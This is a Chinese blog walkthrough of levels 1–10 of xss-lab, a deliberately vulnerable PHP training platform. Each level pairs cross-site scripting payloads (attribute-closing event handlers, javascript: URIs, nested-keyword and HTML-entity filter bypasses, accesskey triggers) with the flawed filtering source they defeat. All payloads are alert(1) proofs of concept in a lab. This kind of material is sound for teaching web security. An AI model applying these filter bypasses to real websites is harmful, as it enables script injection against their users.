XSS攻击-xss-lab(1-10)详细讲解

Web 同时被 2 个专栏收录
6 篇文章 0 订阅
12 篇文章 1 订阅

xss概述

​ XSS,全称跨站脚本,XSS跨站脚本(Cross-Site Scripting,XSS(与css-层叠样式表冲突,所以命名为xss)),某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要注意的是,XSS不仅仅扩展JavaScript,还包括flash等其他脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

xss-lab

​ 通过xss-lab来学习xss攻击,xss-lab是一个用于学习的平台,需要自己搭建平台

1、xss-lab平台搭建

​ 1.1 xss-lab下载地址:

​ 链接:https://pan.baidu.com/s/1sLh5suCgkNsXKbODJ1T8GA

​ 提取码:zr17

​ 1.2 搭建平台

​ 使用linux+apache+linux搭建网站,网站的搭建比较简单就不写了

2、开始学习xss攻击

​ 首先介绍一下xss-lab,xss-lab是一个用于学习xss注入的平台,使用php编写的后台代码,一共有20关,每一 关都有不同的xss注入漏洞,我们要找出漏洞,并且通过漏洞注入代码,方可以通关。

​ 虽然每一关都是不同的,但是注入的方法只有几种,不过涉及的知识点是比较多而且广泛的,大多都是与前 端相关的。xss-lab后面会涉及flash xss攻击,后面将会单独作为章节。

​ 关于涉及到的知识点,会在注入的时候提到

xss攻击实例

第一关:

get型注,在url中的name字段中输入,输入的内容会在页面回显。显示内容是在html标签之间,所以采用标签注入:

name=<script>alert(1)</script>

弹出消息框,存在xss漏洞

查看源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

通过get型,获得name参数,然后在注入js代码

注入之后:
<h2 align=center>欢迎用户<script>alert(1)</script></h2>

这一关没有任何防护措施

第二关:

在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,然后在注入代码,闭合标签:

"><script>alert(1)</script>

第一种方法是通过闭合标签,然后使用脚本代码,另一种是闭合value属性,然后在input标签内加入事件属性:

" onclick="alert(11)

查看源码:

在h2标签中有.htmlspecialchars($str),所以在该地方没有xss注入

<input name=keyword  value="'.$str.'">

在input标签中,value属性没有过滤,所以有xss注入漏洞

本关在h2标签中有防御机制,但是在input中是没有的,所以可以在input中注入

第三关:

输入script,"<“会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:

' onclick='alert(1)

可以通过查看网页的html页面,确定闭合方式,以及是否闭合

查看源码:

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword  value='".htmlspecialchars($str)."'>

所有的地方都被htmlspecialchars函数过滤了,该函数可以过滤“<”“>”““ ”,但是不会过滤单引号,而且value的闭合也是采用单引号,所以会有xss漏洞

本关所有的地方有都防御机制,所以需要绕过该防御机制,因此采用事件方法,并且使用单引号闭合,这样就可以绕过函数的html实体化

第四关:

先试探防御机制,发现value值中把“<”过滤了,所以采用事件注入

" onclick="alert(1)"

查看源码:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

过滤了尖括号

本关的防御机制是过滤了,html标签必须采用的“<”,单号没有考虑事件

第五关:

先试探防御机制,这一关把ri转换为r_i,所以考虑绕过该机制

<scr_ipt>alert(1)</script>

采用大小写同样会被转换,所以换一个不带ri的标签

"><img src=1 o_nerror=alert(1)

然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件

采用其他标签:

"><a href="javascript:alert(1)"

点击图片就会触发

查看源码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

第一行,将数据转换为小写

第二行,第二行将script转换

第三行,将on转换

本关考虑了标签、及事件的转换,但是没有考虑完整

第六关:

通过试探,和上一关很相似,采用上一关的做法,发现href也被过滤了,但是这一关没有过滤大小写,所有的标签都可以用,只要换成大写,或大小写混合就可以了

"><a HREF="javascript:alert(1)"
"><SCRIPT>alert(1)</SCRIPT>

查看源码:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

本关对标签,事件都有过滤,但是唯一的漏洞就是没有过滤大小写

第七关:

通过试探,发现script被过滤了:

<>alert(1)</>

所有采用嵌套的方法:

<scscriptript>alert(1)</scrscriptipt>

发现可以使用,然后构造闭合:

"><scscriptript>alert(1)</scrscriptipt>

采用事件注入:

"  onclick="alert(1)"

on被过滤,所以嵌套注入

"  oonnclick="alert(1)"

查看源码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

本关与上一关的不同,在于转换后的内容不同,虽然添加了大小写转换,但是因为转换后,字符被转换为空字符,所以转换后的字符如何仍可以组合成,那么就可以绕过该防御机制

第8关:

通过试探,发现无法构造闭合,采用是采用了htmlspecialchars($str)函数,而且闭合方式是双引号,所以input中无法注入,但是在连接里面是有地方可以注入的,首先是试探是否有防御机制:

javascr_ipt:alert(1)

发现与第6关一样,做了过滤,采用html实体编码

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

查看源码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

这一关基本过滤了所以关键字和大小写,所以采用html实体编码

第9关:

通过试探,这一关与上一关不同的是会在上一关的基础上,加入地址的检查,首先判断会检查哪些内容,这一关会检查输入的数据中是否会有http://字段,所以需要在输入的字段中加入该字段

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

查看源码:

false===strpos($str7,'http://')

这一关会检查字段的值

第10关:

这一没有输入的地方,需要在url地址栏中输入,这一时输入是隐藏的,也就是说keyname并不是要注入的地方,真正注入的地方是三个input,不过这三个被隐藏了,所以需要去试探这三个那个是正确的:

t_sort=<script>alert(1)</script>

这一关也会过滤“<”,所以可以绕过,也可以用事件

 t_sort=" onmouseover="alert(1)"

但是因为input是隐藏的,所以不会触发事件,需要通过其它方法触发

采用html的accesskey属性:

t_sort=2" accesskey="x" onclick="alert(1)

注意:不同的浏览器有不同的触发方式

火狐是shift+ctrl+x(定义的)
Chrome alt+x

采用type属性:

t_sort=2" accesskey="x" onclick="alert(1)" type="text"

查看源码:

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
  • 3
    点赞
  • 1
    评论
  • 19
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值